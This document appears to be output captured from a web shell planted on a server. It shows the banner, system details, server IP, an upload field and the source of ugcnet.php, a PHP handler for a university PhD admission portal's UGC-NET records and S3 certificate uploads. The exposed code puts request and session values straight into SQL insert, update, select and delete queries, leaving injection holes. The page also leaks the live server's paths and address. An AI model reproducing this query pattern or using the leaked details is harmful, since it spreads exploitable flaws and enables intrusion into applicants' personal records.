0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 52.15.190.187


Current Path : /proc/thread-self/root/var/www/html/phdadm/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/phdadm/src/ugcnet.php

<?php

//require_once("/Library/WebServer/Documents/oasis/aws/aws-autoloader.php");
require_once("/var/www/html/aws/aws-autoloader.php");
// require_once("C:/XAMPP/htdocs/aws/aws-autoloader.php");
use Aws\S3\S3Client;
use Aws\S3\Exception\S3Exception;


function  ugcnetdetails($aobj_context){
    // $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $appno=$_SESSION["APPNO"];
    $rollno=$aobj_context->mobj_data["rollno"];
    $subject=$aobj_context->mobj_data["subject"];
    $refno=$aobj_context->mobj_data["refno"];
    $awdate=$aobj_context->mobj_data["awdate"];
    $maxmrk=$aobj_context->mobj_data["maxmrk"];
    $qual=$aobj_context->mobj_data["qual"];
    $marksobt=$aobj_context->mobj_data["marksobt"];
    $per=$aobj_context->mobj_data["per"];
    $ugnetdeg=$aobj_context->mobj_data["fugnetdeg"];
    $ugcdocpath=$aobj_context->mobj_data["ugcdocpath"];
    $fphdexam=$aobj_context->mobj_data["phdexam"];
    $ugcdoc=$appno.'_'.$ugcdocpath;

//   var_dump($ugcdoc);
//   die();

        $qry1 = "select ifnull(FPAYSTATUS,'') as FPAYSTATUS 
        from phdstudadm
        where fappno = '{$appno}'";
        $rlt1 = $aobj_context->mobj_db->GetRow($qry1);
        if($rlt1['FPAYSTATUS'] == 'success'){
            $arr['msg'] = 'You are not able to edit     ';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;
        }

    $qry = "select fappno from phdugcnet
    where fappno = '{$appno}' and frollno = '{$rollno}' ";
    $rlt =  $aobj_context->mobj_db->GetRow($qry);

    if($ugcdocpath){
        $s3 = S3Client::factory(
            array(
                'credentials' => array(
                    'key' => IAM_KEY,
                    'secret' => IAM_SECRET
                ),
                'version' => "latest",
                'region'  => 'ap-south-1'
            )
        );
        
        $query = "select funivcode from control";
        $results = $aobj_context->mobj_db->GetRow($query);

        $funivcode = $results['funivcode'];

        // $photo_filename = $rgPerArray['photo_path'];
        // var_dump($photo_filename);
        // die();
        
        if($ugcdoc != '' && $ugcdoc != NULL)
        {
            $image_path = $aobj_context->main_src."uploads/{$ugcdocpath}";

            
            $ext = pathinfo($photo_filename, PATHINFO_EXTENSION);
            $photo_filename = $fappno;
            // $phdphotoo = $phdphoto.".".$ext;


            $full_file_path = $funivcode."/phd_photos/".$docphdphoto;

            // var_dump($full_file_path);
            // die();
            
            $tphoto = $funivcode."/phd_certificates/".$ugcdoc;
            
            // var_dump($photo);
            if(file_exists($image_path)) 
            {
                try {
                    $s3->putObject(['Bucket' => ADMISSION_CERTIFICATES, 'Key' => $tphoto, 'SourceFile' => $image_path]);
                  
                    
                    unlink($image_path);
                }catch(S3Exception $e) {
                    $arr['message'] = 'Unable to upload file';
                    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
                    return;
                }
            }
        }
    }

    if($rlt['fappno'] == ""){
        $query="insert into phdugcnet (FAPPNO,fugnetdeg,frollno,fsubject,frefno,fawdate,fugcdoc,fphdexam)
        values('{$appno}','{$ugnetdeg}','{$rollno}','{$subject}','{$refno}',date_format(str_to_date('{$awdate}','%Y-%m-%d'),'%Y-%m-%d'),'{$tphoto}','{$fphdexam}')"; 

    
        $run = $aobj_context->mobj_db->Execute($query);
    }else{
        $query = "update phdugcnet set fugnetdeg = '{$ugnetdeg}', frollno = '{$rollno}',fsubject = '{$subject}', fphdexam = '{$fphdexam}',
        frefno = '{$refno}',fawdate = date_format(str_to_date('{$awdate}','%Y-%m-%d'),'%Y-%m-%d'),fugcdoc = '{$tphoto}'
        where fappno = '{$appno}' and frollno = '{$rollno}'";
        $run =  $aobj_context->mobj_db->Execute($query);
    }


    if($run)
    {	
    $arr['msg']="Success";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");
    return;
    }
    else
    {
    $arr['msg'] = "Fail to save";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
    return;
    }
}


function loadugcnet($aobj_context)
{

    $appno=$_SESSION["APPNO"];

    

    
    $qry = "select ifnull(fugnetdeg,'') as fugnetdeg,ifnull(frollno,'') as frollno,ifnull(fsubject,'') as fsubject,
    ifnull(frefno,'') as frefno,date_format(ifnull(fawdate,''),'%d/%m/%Y') as fawdate,
    ifnull(fmaxmarks,'') as fmaxmarks,ifnull(fqual,'') as fqual,ifnull(fugcdoc,'') as fugcdoc,
    ifnull(fmarksobt,'') as fmarksobt,ifnull(fper,'') as fper from phdugcnet
    where fappno = '{$appno}' and fphdexam <> 'No'";
    
    $rltdata =  $aobj_context->mobj_db->GetAll($qry);



    if($rltdata) {
        $arr['ugc'] = $rltdata;
        
		
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
	}
	else {
		$arr['msg'] = 'Failed to save';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
	}

    
	
}

function editugcnetdet($aobj_context)
{

    $appno=$_SESSION["APPNO"];
    $reg=$aobj_context->mobj_data["reg"];

    $qry = "select ifnull(fugnetdeg,'') as fugnetdeg, ifnull(frollno,'') as frollno,ifnull(fsubject,'') as fsubject,
    ifnull(frefno,'') as frefno,date_format(ifnull(fawdate,''),'%Y-%m-%d') as fawdate,
    ifnull(fmaxmarks,'') as fmaxmarks,ifnull(fqual,'') as fqual,
    ifnull(fphdexam,'') as fphdexam,
    ifnull(fmarksobt,'') as fmarksobt,ifnull(fper,'') as fper from phdugcnet
    where fappno = '{$appno}' and frollno = '{$reg}' ";
    
    $rltdata =  $aobj_context->mobj_db->GetRow($qry);

    // var_dump($rltdata);
    // die();


    if($rltdata) {
		echo $aobj_context->mobj_output->ToJSONEnvelope($rltdata,0,"success"); 
	}
	else {
		$arr['msg'] = 'Failed';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
	}

    
	
	
}


function deleteugcnetdet($aobj_context)
{

    $appno=$_SESSION["APPNO"];
    $reg=$aobj_context->mobj_data["reg"];

    $qry = "delete from phdugcnet
    where fappno = '{$appno}' and frollno = '{$reg}'";
    
    $rltdata =  $aobj_context->mobj_db->Execute($qry);


    if($rltdata) {
        $arr['msg'] = "Deleted Successfully..!";
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
	}
	else {
		$arr['msg'] = 'Failed';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
	}

    
	
	
}

?>